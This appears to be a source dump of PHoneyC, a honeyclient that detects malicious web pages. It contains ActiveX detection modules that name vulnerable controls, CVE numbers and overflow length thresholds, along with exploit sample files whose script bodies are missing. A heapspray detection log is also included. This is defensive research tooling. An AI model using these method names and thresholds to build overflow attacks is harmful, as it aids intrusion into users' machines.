-------------------------------------------------------------------------------- /ActiveX/modules/PDFOpenPDF: -------------------------------------------------------------------------------- 1 | # PDFVIEW.PdfviewCtrl.1 ActiveX control allows remote attackers to execute arbitrary code via a long first argument to the OpenPDF method. 2 | 3 | # CVE-2008-5492 4 | 5 | def OpenPDF(arg0, *args): 6 | if len(arg0)>1000: 7 | add_alert('The OpenPDF method overflow in PDFVIEW.PdfviewCtrl.1 ActiveX control') 8 | 9 | self.OpenPDF=OpenPDF 10 | -------------------------------------------------------------------------------- /ActiveX/modules/YahooMessengerYVerInfo: -------------------------------------------------------------------------------- 1 | # Yahoo! Messenger 8.x YVerInfo.dll ActiveX Control 2 | # CVE-2007-4515 3 | 4 | def fvcom(arg0): 5 | if len(arg0)>20: 6 | add_alert('Overflow in YahooYVerInfo.fvCom() arg0') 7 | 8 | def info(arg0): 9 | if len(arg0)>20: 10 | add_alert('Overflow in YahooYVerInfo.info() arg0') 11 | 12 | self.fvcom=fvcom 13 | self.info=info 14 | -------------------------------------------------------------------------------- /ActiveX/modules/ConnectAndEnterRoom: -------------------------------------------------------------------------------- 1 | # GlobalLink ConnectAndEnterRoom ActiveX Control ConnectAndEnterRoom() Method Overflow Vulnerability 2 | # CVE-2007-5722 3 | 4 | def ConnectAndEnterRoom(arg0,arg1,arg2,arg3,arg4,arg5): 5 | if len(arg0)>172: 6 | add_alert('ConnectAndEnterRoom ActiveX Control ConnectAndEnterRoom() Overflow') 7 | 8 | self.ConnectAndEnterRoom=ConnectAndEnterRoom 9 | -------------------------------------------------------------------------------- /ActiveX/modules/Spreadsheet: -------------------------------------------------------------------------------- 1 | # OWC10/11.Spreadsheet ActiveX 2 | # CVE-2009-1136 3 | 4 | def _Evaluate(*args): 5 | add_alert('OWC 10/11.Spreadsheet ActiveX attack in _Evaluate function') 6 | 7 | def Evaluate(*args): 8 | add_alert('OWC 10/11.Spreadsheet ActiveX attack in Evaluate function') 9 | 10 | self._Evaluate=_Evaluate 11 | self.Evaluate=Evaluate 12 | 13 | 14 | -------------------------------------------------------------------------------- /ActiveX/modules/SonicWallNetExtenderAddRouteEntry: -------------------------------------------------------------------------------- 1 | # SonicWall SSL-VPN NetExtender NELaunchCtrl ActiveX control 2 | # CVE-2007-5603 (AddRouteEntry) 3 | 4 | def AddRouteEntry(arg0,arg1): 5 | if len(arg0)>20: 6 | add_alert('Overflow in AddRouteEntry arg0') 7 | if len(arg1)>20: 8 | add_alert('Overflow in AddRouteEntry arg1') 9 | 10 | self.AddRouteEntry=AddRouteEntry 11 | 12 | -------------------------------------------------------------------------------- /ActiveX/modules/WebViewFolderIcon: -------------------------------------------------------------------------------- 1 | # Microsoft Internet Explorer 6 WebViewFolderIcon 2 | # CVE-2006-3730 3 | 4 | def setSlice(arg0, arg1, arg2, arg3): 5 | if (arg0 == 0x7ffffffe): 6 | add_alert('WebViewFolderIcon.setSlice attack') 7 | add_alert(str(arg0) + " " + str(arg1) + " " + str(arg2) + " " + str(arg3)) 8 | 9 | self.setSlice = setSlice 10 | 11 | 12 | -------------------------------------------------------------------------------- /DOM/ClassFactory.py: -------------------------------------------------------------------------------- 1 | from DOMObject import DOMObject 2 | 3 | class DynamicDOMObject(DOMObject): 4 | def __init__(self): 5 | self.__dict__.update(self.inits) 6 | DOMObject.__init__(self, self.window, self.tagName, self.parser) 7 | 8 | def DOMObjectFactory(name, initializers): 9 | return type(name, (DynamicDOMObject,), {'inits' : initializers}) 10 | 11 | -------------------------------------------------------------------------------- /samples/UUSeeUpdate.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /ActiveX/modules/XUpload: -------------------------------------------------------------------------------- 1 | # Persists Software XUpload control, version 2.1.0.1. 2 | # CVE-2007-6530 3 | 4 | def AddFolder(arg): 5 | if len(arg) > 1024: 6 | add_alert('XUpload overflow in AddFolder()') 7 | 8 | def AddFile(arg): 9 | if len(arg) > 255: 10 | add_alert('XUpload overflow in AddFile()') 11 | 12 | self.AddFolder = AddFolder 13 | self.AddFile = AddFile 14 | -------------------------------------------------------------------------------- /ActiveX/modules/PDFextractPagesToFile: -------------------------------------------------------------------------------- 1 | # VSPDFEditorX.VSPDFEdit ActiveX allows remote attackers to create or overwrite arbitrary files via the first argument to #the extractPagesToFile method 2 | # CVE-2008-6496 3 | 4 | 5 | def extractPagesToFile(arg0, *arg): 6 | add_alert('VSPDFEditorX.VSPDFEdit ActiveX is to create or overwrite file: ' + arg0) 7 | 8 | self.extractPagesToFile=extractPagesToFile 9 | -------------------------------------------------------------------------------- /samples/GomWeb.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /samples/RediffBolDownloaderAttack.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /result/realplayer-mod.txt: -------------------------------------------------------------------------------- 1 | PYTHONPATH='lib/python:' python main.py http://172.31.25.227/honeyjs/realplayer-mod.html 2 | 3 | ==================================== 4 | |--------AID:1---------- 5 | |ATYPE:ALERT_HEAPSPRAY 6 | |MESSAGE:Heapspray Detected! 7 | |HIT:400 8 | |LENGTH:524248 9 | |ENTROPY:0.0217090172502 10 | |MISC:{'sledge_char': '\x0c', 'sec_char_cnt': 97, 'sledge_cnt': 523594, 'sec_char': '\x00'} 11 | -------------------------------------------------------------------------------- /samples/HPInfo_GetRegValue.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /ActiveX/modules/Toshiba: -------------------------------------------------------------------------------- 1 | # Toshiba Surveillance (Surveillix) RecordSend Class (MeIpCamX.DLL 1.0.0.4) 2 | # CVE-NOMATCH 3 | 4 | def SetPort(arg): 5 | if len(arg)>10: 6 | add_alert('Toshiba Surveillance overflow in SetPort()') 7 | 8 | def SetIpAddress(arg): 9 | if len(arg)>18: 10 | add_alert('Toshiba Surveillance overflow in SetIpAddress()') 11 | 12 | self.SetPort=SetPort 13 | self.SetIpAddress=SetIpAddress 14 | -------------------------------------------------------------------------------- /ActiveX/modules/YahooMessengerYwcvwr: -------------------------------------------------------------------------------- 1 | # Yahoo! Messenger 8.x Ywcvwr ActiveX Control 2 | # CVE-2007-4391 3 | 4 | 5 | def Setserver(name): 6 | if len(name)>255: 7 | add_alert('Yahoo! server console overflow') 8 | 9 | 10 | def GetComponentVersion(arg): 11 | add_alert('Yahoo! GetComponentVersion() overflow') 12 | 13 | 14 | self.GetComponentVersion=GetComponentVersion 15 | Attr2Fun['server']=Setserver 16 | 17 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/double.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_DOUBLE_H 10 | #define PYSM_DOUBLE_H 11 | 12 | jsval py2js_double(Context* cx, PyObject* obj); 13 | PyObject* js2py_double(Context* cx, jsval val); 14 | 15 | #endif 16 | -------------------------------------------------------------------------------- /ActiveX/modules/IMWebControl: -------------------------------------------------------------------------------- 1 | # iMesh<= 7.1.0.x IMWebControl Class 2 | # CVE-2007-6493, CVE-2007-6492 3 | 4 | def ProcessRequestEx(arg): 5 | if len(arg)==0: 6 | add_alert('IMWebControl NULL value in ProcessRequestEx()') 7 | 8 | def SetHandler(arg): 9 | if str([arg])=='218959117': 10 | add_alert('IMWebControl overflow in SetHandler()') 11 | 12 | self.ProcessRequestEx=ProcessRequestEx 13 | self.SetHandler=SetHandler 14 | -------------------------------------------------------------------------------- /ActiveX/modules/RegistryPro: -------------------------------------------------------------------------------- 1 | # Registry Pro (epRegPro.ocx) 2 | # CVE-NOMATCH 3 | 4 | def DeleteKey(arg0, arg1): 5 | if arg0==80000002: 6 | add_alert('RegistryPro deleting HKEY_LOCAL_MACHINE key ' + arg1) 7 | if arg0==80000001: 8 | add_alert('RegistryPro deleting HKEY_CURRENT_USER key ' + arg1) 9 | 10 | def About(): 11 | add_alert('RegistryPro called About()') 12 | 13 | self.DeleteKey=DeleteKey 14 | self.About=About 15 | -------------------------------------------------------------------------------- /ActiveX/modules/SSReaderPdg2: -------------------------------------------------------------------------------- 1 | # SSReader Pdg2 ActiveX control (pdg2.dll) 2 | # CVE-2007-5892 3 | 4 | def Register(arg0, arg1): 5 | if len(arg1) > 255: 6 | add_alert('SSReader Pdg2 ActiveX Register Method Overflow') 7 | 8 | def LoadPage(arg0,arg1,arg2,arg3): 9 | if(len(arg0)>255): 10 | add_alert('SSReader Pdg2 ActiveX LoadPage Method Overflow') 11 | 12 | self.Register = Register 13 | self.LoadPage = LoadPage 14 | -------------------------------------------------------------------------------- /ActiveX/modules/AcroPDF: -------------------------------------------------------------------------------- 1 | 2 | def GetVersions(): 3 | return("Accessibility=8.1.0,AcroForm=8.1.0,Annots=8.1.0,Checkers=8.1.0,DigSig=8.1.0,DVA=8.1.0,eBook=8.1.0,EScript=8.1.0,HLS=8.1.0,IA32=8.1.0,MakeAccessible=8.1.0,Multimedia=8.1.0,PDDom=8.1.0,PPKLite=8.1.0,ReadOutLoud=8.1.0,reflow=8.1.0,SaveAsRTF=8.1.0,Search=8.1.0,Search5=8.1.0,SendMail=8.1.0,Spelling=8.1.0,Updater=8.1.0,weblink=8.1.0,") 4 | 5 | self.GetVersions = GetVersions 6 | 7 | 8 | -------------------------------------------------------------------------------- /ActiveX/modules/OurgameGLWorld: -------------------------------------------------------------------------------- 1 | # Ourgame GLWorld HanGamePluginCn18 Class ActiveX Control 2 | # CVE-2008-0647 3 | 4 | def hgs_startGame(arg): 5 | if len(arg)>1000: 6 | add_alert('Overflow in Ourgame GLWorld hgs_startGame()') 7 | 8 | def hgs_startNotify(arg): 9 | if len(arg)>1000: 10 | add_alert('Overflow in Ourgame GLWorld hgs_startNotify()') 11 | 12 | self.hgs_startGame=hgs_startGame 13 | self.hgs_startNotify=hgs_startNotify 14 | -------------------------------------------------------------------------------- /samples/Xupload.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /ActiveX/modules/FacebookPhotoUploader: -------------------------------------------------------------------------------- 1 | # Facebook Photo Uploader 4.x 2 | # CVE-NOMATCH 3 | 4 | def SetExtractIptc(val): 5 | if len(val)>255: 6 | add_alert('FaceBook PhotoUploader overflow in ExtractIptc property') 7 | 8 | def SetExtractExif(val): 9 | if len(val)>255: 10 | add_alert('FaceBook PhotoUploader overflow in ExtractExif property') 11 | 12 | Attr2Fun['ExtractIptc']=SetExtractIptc 13 | Attr2Fun['ExtractExif']=SetExtractExif 14 | -------------------------------------------------------------------------------- /samples/SinaDLoader.htm: -------------------------------------------------------------------------------- 1 | < HEAD> 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /samples/hpupdate1.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /samples/aol_ampx.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /samples/msrichtxt.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/pyobject.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_PYOBJECT_H 10 | #define PYSM_PYOBJECT_H 11 | 12 | /* 13 | This represents a Python object in the 14 | JavaScript VM. 15 | */ 16 | 17 | jsval py2js_object(Context* cx, PyObject* obj); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-utf16.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | @t.cx() 8 | def test_empty_string_script(cx): 9 | cx.execute("") 10 | 11 | @t.cx() 12 | def test_unicode_string(cx): 13 | t.eq(cx.execute(u"5"), 5) 14 | 15 | @t.cx() 16 | def test_non_unicode_string(cx): 17 | t.eq(cx.execute("5"), 5) 18 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/integer.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_INTEGER_H 10 | #define PYSM_INTEGER_H 11 | 12 | jsval py2js_integer(Context* cx, PyObject* obj); 13 | jsval long2js_integer(Context* cx, long val); 14 | PyObject* js2py_integer(Context* cx, jsval val); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /samples/xupload.html: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/convert.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_CONVERT_H 10 | #define PYSM_CONVERT_H 11 | 12 | jsval py2js(Context* cx, PyObject* obj); 13 | PyObject* js2py(Context* cx, jsval val); 14 | PyObject* js2py_with_parent(Context* cx, jsval val, jsval parent); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/pyiter.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_PYITER_H 10 | #define PYSM_PYITER_H 11 | 12 | /* 13 | This is a bit of glue between Python and JavaScript 14 | iterators. 15 | */ 16 | 17 | JSBool new_py_iter(Context* cx, PyObject* obj, jsval* rval); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/string.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_STRING_H 10 | #define PYSM_STRING_H 11 | 12 | JSString* py2js_string_obj(Context* cx, PyObject* str); 13 | jsval py2js_string(Context* cx, PyObject* str); 14 | PyObject* js2py_string(Context* cx, jsval val); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /samples/MacrovisionFlexNet.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | Macrovision FlexNet DownloadManager Insecure Methods Exploit 4 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /ActiveX/modules/ZenturiProgramCheckerAttack: -------------------------------------------------------------------------------- 1 | def DownloadFile(* arg): 2 | add_alert('ZenturiProgramCheckerAttack attack in \'DownloadFile\' function') 3 | 4 | def DebugMsgLog(* arg): 5 | add_alert('ZenturiProgramCheckerAttack attack in \'DebugMsgLog\' function') 6 | 7 | def NavigateUrl(* arg): 8 | add_alert('ZenturiProgramCheckerAttack attack in \'NavigateUrl\' function') 9 | 10 | self.DownloadFile=DownloadFile 11 | self.DebugMsgLog=DebugMsgLog 12 | self.NavigateUrl=NavigateUrl 13 | -------------------------------------------------------------------------------- /samples/4613.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 13 | 14 | 15 | 16 | 17 | 18 | # milw0rm.com [2007-11-08] 19 | 20 | 21 | -------------------------------------------------------------------------------- /samples/HPInfo_SetRegValue.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/libjs/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Developer Studio generated include file. 3 | // Used by js3240.rc 4 | // 5 | 6 | // Next default values for new objects 7 | // 8 | #ifdef APSTUDIO_INVOKED 9 | #ifndef APSTUDIO_READONLY_SYMBOLS 10 | #define _APS_NEXT_RESOURCE_VALUE 101 11 | #define _APS_NEXT_COMMAND_VALUE 40001 12 | #define _APS_NEXT_CONTROL_VALUE 1000 13 | #define _APS_NEXT_SYMED_VALUE 101 14 | #endif 15 | #endif 16 | -------------------------------------------------------------------------------- /samples/hpinfo3.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /samples/UniversalUpload.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /samples/domino.html: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /ActiveX/modules/YahooJukebox: -------------------------------------------------------------------------------- 1 | # Yahoo! Music Jukebox 2.x 2 | # CVE-NOMATCH 3 | 4 | def AddBitmap(arg0,arg1,arg2,arg3,arg4,arg5): 5 | if len(arg1)>256: 6 | add_alert('Yahoo Jukebox overflow in AddBitmap()') 7 | 8 | def AddButton(arg0,arg1): 9 | if len(arg0)>256: 10 | add_alert('Yahoo Jukebox overflow in AddButton()') 11 | 12 | def AddImage(arg0,arg1): 13 | if len(arg0)>256: 14 | add_alert('Yahoo Jukebox overflow in AddImage()') 15 | 16 | self.AddBitmap=AddBitmap 17 | self.AddButton=AddButton 18 | self.AddImage=AddImage 19 | -------------------------------------------------------------------------------- /samples/4148.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /ActiveX/modules/AnswerWork: -------------------------------------------------------------------------------- 1 | // Vantage Linguistics AnswerWorks ActiveX Controls 2 | // CVE-2007-6387 3 | 4 | def GetHistory(arg): 5 | if len(arg) > 215: add_alert('AnswerWorks overflow in GetHistory()') 6 | def GetSeedQuery(arg): 7 | if len(arg) > 215: add_alert('AnswerWorks overflow in GetSeedQuery()') 8 | def SetSeedQuery(arg): 9 | if len(arg) > 215: add_alert('AnswerWorks overflow in SetSeedQuery()') 10 | 11 | self.GetHistory = GetHistory 12 | self.GetSeedQuery = GetSeedQuery 13 | self.SetSeedQuery = SetSeedQuery 14 | 15 | -------------------------------------------------------------------------------- /ActiveX/modules/AnswerWorks: -------------------------------------------------------------------------------- 1 | # Vantage Linguistics AnserWorks ActiveX Controls 2 | # CVE-2007-6387 3 | 4 | def GetHistory(arg): 5 | if len(arg)>215: 6 | add_alert('AnswerWorks overflow in GetHistory()') 7 | 8 | def GetSeedQuery(arg): 9 | if len(arg)>215: 10 | add_alert('AnswerWorks overflow in GetSeedQuery()') 11 | 12 | def SetSeedQuery(arg): 13 | if len(arg)>215: 14 | add_alert('AnswerWorks overflow in SetSeedQuery()') 15 | 16 | self.GetHistory=GetHistory 17 | self.GetSeedQuery=GetSeedQuery 18 | self.SetSeedQuery=SetSeedQuery 19 | -------------------------------------------------------------------------------- /samples/5217.html: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 13 | 14 | 19 | 20 | 21 | 22 | # milw0rm.com [2008-03-06] 23 | -------------------------------------------------------------------------------- /samples/22811_Elazar.html: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /samples/4974.html: -------------------------------------------------------------------------------- 1 | 9 | 10 | 11 | 12 | 13 | 16 | 17 | 18 | 19 | # milw0rm.com [2008-01-23] 20 | 21 | 22 | -------------------------------------------------------------------------------- /ActiveX/modules/PDFSavaAsBMPWMF: -------------------------------------------------------------------------------- 1 | # PDF417 ActiveX control (MW6PDF417Lib.PDF417, MW6PDF417.dll) 3.0.0.1 allow remote attackers to overwrite arbitrary files #via a full pathname argument to the (1) SaveAsBMP and (2) SaveAsWMF methods. 2 | # CVE-2008-4926 3 | 4 | def SaveAsBMP(arg0): 5 | add_alert('Overwrite arbitrary files in MW6PDF417Lib.PDF417 SaveAsBMP() method') 6 | 7 | def SaveAsWMF(arg0): 8 | add_alert('Overwrite arbitrary files in MW6PDF417Lib.PDF417 SaveAsWMF() method') 9 | 10 | 11 | self.SaveAsBMP=SaveAsBMP 12 | self.SaveAsWMF=SaveAsWMF 13 | 14 | -------------------------------------------------------------------------------- /ActiveX/modules/VLC: -------------------------------------------------------------------------------- 1 | # VLC ActiveX Control 2 | # CVE-2007-4619, CVE-2007-6262 3 | 4 | def getVariable(arg): 5 | if len(arg)>255: 6 | add_alert('VLC getVariable() overflow') 7 | 8 | def setVariable(arg0, arg1): 9 | if len(arg0)>255 or len(arg1)>255: 10 | add_alert('VLC setVariable() overflow') 11 | 12 | def addTarget(arg0,arg1,arg2,arg3): 13 | if len(arg0)>255 or len(arg1)>255 or len(arg2)>255 or len(arg3)>255: 14 | add_alert('VLC addTarget() overflow') 15 | 16 | self.getVariable=getVariable 17 | self.setVariable=setVariable 18 | self.addTarget=addTarget 19 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/tracing.h: -------------------------------------------------------------------------------- 1 | /* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- 2 | * 3 | * Copyright 2009 Z. Chen 4 | * 5 | * This file is part of the honeyjs package for PHoneyC, released under the 6 | * MIT license. 7 | * 8 | */ 9 | 10 | #ifndef _TRACING_H_ 11 | #define _TRACING_H_ 12 | 13 | #include 14 | #include "structmember.h" 15 | 16 | extern JSTrapStatus js_interrupt_handler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval,void *closure); 17 | 18 | 19 | #endif /* _TRACING_H_ */ 20 | -------------------------------------------------------------------------------- /samples/4230.html: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 | 11 | 15 | 16 | 17 | # milw0rm.com [2007-07-26] 18 | 19 | 20 | -------------------------------------------------------------------------------- /samples/hpinfo2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/jsarray.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_JSARRAY_H 10 | #define PYSM_JSARRAY_H 11 | 12 | /* 13 | This is a representation of a JavaScript 14 | Array in Python land. 15 | */ 16 | 17 | #include 18 | #include "structmember.h" 19 | 20 | #include "spidermonkey.h" 21 | 22 | extern PyTypeObject _ArrayType; 23 | 24 | PyObject* js2py_array(Context* cx, jsval val); 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /samples/storm_nov10.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /ActiveX/modules/PPlayer: -------------------------------------------------------------------------------- 1 | # Xunlei Thunder PPLAYER.DLL_1.WORK ActiveX Control 2 | 3 | def DownURL2(arg0,arg1,arg2,arg3): 4 | if len(arg0)>1024: 5 | add_alert('Xunlei Thunder 5.x DownURL2() overflow') 6 | 7 | 8 | def SetFlvPlayerUrl(val): 9 | if len(val)>1060: 10 | add_alert('Xunlei Thunder XPPlayer Class \"FlvPlayerUrl\" Property Handling Buffer Overflow') 11 | 12 | def SetLogo(val): 13 | if len(val)>128: 14 | add_alert('PPStream (PowerPlayer.dll 2.0.1.3829) ActiveX Remote Overflow Exploit in Logo property') 15 | 16 | self.DownURL2=DownURL2 17 | Attr2Fun['FlvPlayerUrl']=SetFlvPlayerUrl 18 | Attr2Fun['Logo']=SetLogo 19 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/jsfunction.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_JSFUNCTION_H 10 | #define PYSM_JSFUNCTION_H 11 | 12 | /* 13 | This is a representation of a JavaScript 14 | Function in Python land. 15 | */ 16 | 17 | typedef struct { 18 | Object obj; 19 | jsval parent; 20 | } Function; 21 | 22 | extern PyTypeObject _FunctionType; 23 | 24 | PyObject* js2py_function(Context* cx, jsval val, jsval parent); 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /samples/NamoInstaller.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Namo Web Editor NamoInstaller.dll install Method Exploit 6 | 14 | 15 | 16 | 17 | Unable to create object 18 | 19 | 20 | 21 | 22 | 23 | 文章转载自网管网:http://www.bitscn.com/network/security/200802/123884.html 24 | -------------------------------------------------------------------------------- /samples/4237.html: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 | 11 | 15 | 16 | 17 | # milw0rm.com [2007-07-27] 18 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/jsiterator.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_JSITERATOR_H 10 | #define PYSM_JSITERATOR_H 11 | 12 | /* 13 | This is a representation of a JavaScript 14 | object in Python land. 15 | */ 16 | 17 | typedef struct { 18 | PyObject_HEAD 19 | Context* cx; 20 | JSObject* iter; 21 | jsval root; 22 | } Iterator; 23 | 24 | extern PyTypeObject _IteratorType; 25 | 26 | PyObject* Iterator_Wrap(Context* cx, JSObject* obj); 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /modules/Makefile: -------------------------------------------------------------------------------- 1 | 2 | SUBDIRS=hcalert honeyjs libemu 3 | INSTHOME=../.. 4 | 5 | PYTHON=python 6 | 7 | ifneq ($(PHONEYC_PYTHON),) 8 | PYTHON:= $(PHONEYC_PYTHON) 9 | endif 10 | 11 | 12 | all:compile 13 | 14 | compile: 15 | @for i in $(SUBDIRS); do \ 16 | echo "make all in $$i..."; \ 17 | (cd $$i; ${PYTHON} setup.py build); done 18 | 19 | install: 20 | @for i in $(SUBDIRS); do \ 21 | echo "install all in $$i..."; \ 22 | (cd $$i; PYTHONPATH=../../lib/python ${PYTHON} setup.py install --home=$(INSTHOME)); done 23 | 24 | clean: 25 | @for i in $(SUBDIRS); do \ 26 | echo "install all in $$i..."; \ 27 | (cd $$i; ${PYTHON} setup.py clean); done 28 | 29 | -------------------------------------------------------------------------------- /ActiveX/modules/Domino: -------------------------------------------------------------------------------- 1 | # IBM Lotus Domino Web Access Control ActiveX Control 2 | # CVE-2007-4474 3 | 4 | 5 | def SetGeneral_ServerName(val): 6 | if len(val)>1024: 7 | add_alert('Domino overflow with General_ServerName property') 8 | 9 | def SetGeneral_JunctionName(val): 10 | if len(val)>1024: 11 | add_alert('Domino overflow with General_JunctionName property') 12 | 13 | def SetMail_MailDbPath(val): 14 | if len(val)>1024: 15 | add_alert('Domino overflow with Mail_MailDbPath property') 16 | 17 | Attr2Fun['General_ServerName']=SetGeneral_ServerName 18 | Attr2Fun['General_JunctionName']=SetGeneral_JunctionName 19 | Attr2Fun['Mail_MailDbPath']=SetMail_MailDbPath 20 | -------------------------------------------------------------------------------- /samples/GatewayWeblaunch.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | Gateway Weblaunch ActiveX Control Insecure Method Exploit 4 | 13 | 14 | 15 | 16 | Unable to create object 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /ActiveX/modules/Makefile: -------------------------------------------------------------------------------- 1 | 2 | SUBDIRS=hcalert honeyjs libemu 3 | INSTHOME=../.. 4 | 5 | PYTHON=python 6 | 7 | ifneq ($(PHONEYC_PYTHON),) 8 | PYTHON:= $(PHONEYC_PYTHON) 9 | endif 10 | 11 | 12 | all:compile 13 | 14 | compile: 15 | @for i in $(SUBDIRS); do \ 16 | echo "make all in $$i..."; \ 17 | (cd $$i; ${PYTHON} setup.py build); done 18 | 19 | install: 20 | @for i in $(SUBDIRS); do \ 21 | echo "install all in $$i..."; \ 22 | (cd $$i; PYTHONPATH=../../lib/python ${PYTHON} setup.py install --home=$(INSTHOME)); done 23 | 24 | clean: 25 | @for i in $(SUBDIRS); do \ 26 | echo "install all in $$i..."; \ 27 | (cd $$i; ${PYTHON} setup.py clean); done 28 | 29 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/error.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_ERROR_H 10 | #define PYSM_ERROR_H 11 | 12 | /* 13 | I'm dropping the second parameter. As it's 14 | only used so that we can see what function 15 | caused the call to the error frame. 16 | */ 17 | #define ERROR(f) add_frame(__FILE__, (f), __LINE__) 18 | void add_frame(const char* srcfile, const char* funcname, int linenum); 19 | void report_error_cb(JSContext* cx, const char* message, JSErrorReport* report); 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /samples/DPClient.htm: -------------------------------------------------------------------------------- 1 | 2 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- 